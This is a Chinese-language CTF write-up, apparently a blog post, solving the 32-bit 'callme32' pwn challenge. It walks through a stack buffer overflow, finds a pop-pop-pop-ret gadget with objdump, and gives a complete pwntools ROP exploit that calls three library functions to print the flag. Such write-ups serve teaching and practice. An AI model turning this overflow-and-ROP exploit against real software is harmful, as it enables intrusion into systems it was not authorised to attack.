CTF-PWN-callme32 [ROP+栈溢出]

首先发现在pwnme函数中有一个明显的缓冲区溢出,长度为40,经调试发现填入44长度的垃圾信息即可填入shellcode

ida发现一个重要函数如下: 

CTF-PWN-callme32 [ROP+栈溢出]_第1张图片

点入后发现这三个函数为系统级调用。正好题目给了我们一个.so文件。进入查看,发现有这三个函数的反编译。依次是将加密后的flag通过key1,key2解密。调用顺序应该是callme_one -> callme_two -> callme_three

 因此我的目标很明显:在栈中依次写入这几个函数的地址和其参数,然后依次调用即可。

注意在栈中,payload的排布规律为:函数地址 -> 函数返回地址 -> 函数参数

CTF-PWN-callme32 [ROP+栈溢出]_第2张图片

这是callme_one 函数的内容,其他两个函数与这个函数的结构类似。并且正确调用要求的参数都是1,2,3。

为了平衡堆栈,在函数调用完毕时,需要将这三个参数从栈中弹出,因此需要三个pop和一个ret的ROP。

supergate@ubuntu:~/Desktop/task1$ objdump -d callme32 | grep -A 3 pop
 8048579:	5b                   	pop    %ebx
 804857a:	c3                   	ret    

Disassembly of section .plt:
--
 8048642:	5e                   	pop    %esi
 8048643:	89 e1                	mov    %esp,%ecx
 8048645:	83 e4 f0             	and    $0xfffffff0,%esp
 8048648:	50                   	push   %eax
--
 80488a8:	5b                   	pop    %ebx
 80488a9:	5e                   	pop    %esi
 80488aa:	5f                   	pop    %edi
 80488ab:	5d                   	pop    %ebp
 80488ac:	c3                   	ret    
 80488ad:	8d 76 00             	lea    0x0(%esi),%esi

--
 80488c6:	5b                   	pop    %ebx
 80488c7:	c3                   	ret   

 

发现从地址 0x80488a9 开始调用即可。

因此exp如下:

from pwn import *
p=process("./callme32")

payload='A'*44

payload+=p32(0x80485c0)+p32(0x80488a9)+p32(1)+p32(2)+p32(3)

payload+=p32(0x8048620)+p32(0x80488a9)+p32(1)+p32(2)+p32(3)

payload+=p32(0x80485b0)+p32(0x80488a9)+p32(1)+p32(2)+p32(3)

p.sendline(payload)

p.interactive()

 

得到flag 

CTF-PWN-callme32 [ROP+栈溢出]_第3张图片

你可能感兴趣的:(CTF-PWN)